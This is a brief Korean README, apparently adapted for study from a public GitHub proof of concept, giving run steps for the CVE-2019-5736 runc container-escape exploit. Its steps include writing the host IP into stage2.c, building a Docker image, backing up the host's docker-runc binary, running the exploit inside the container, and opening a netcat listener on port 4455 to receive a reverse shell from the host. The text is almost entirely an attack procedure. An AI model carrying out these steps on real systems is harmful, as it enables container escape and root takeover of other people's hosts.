실행전

  • (1). stage2.c에 IP주소를 호스트에 주소로 바꿉니다
  • (2). DockerFile로 만듭니다 docker build -t cve .
  • (3). docker run -d -t --name cvetest cve
  • (4). 실행하기전 runc바이너리를 백업합니다 cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
  • (5). docker exec -it cve /bin/bash 실행합니다.
  • (6). in docker run cd /root && ./run.sh && exit
  • (7). 터미널을 새로 열고 nc -nlvvp 4455
  • (8). 다시 도커 실행 docker exec -it cve /bin/bash

원본 : https://github.com/agppp/cve-2019-5736-poc 공부를 위해 수정함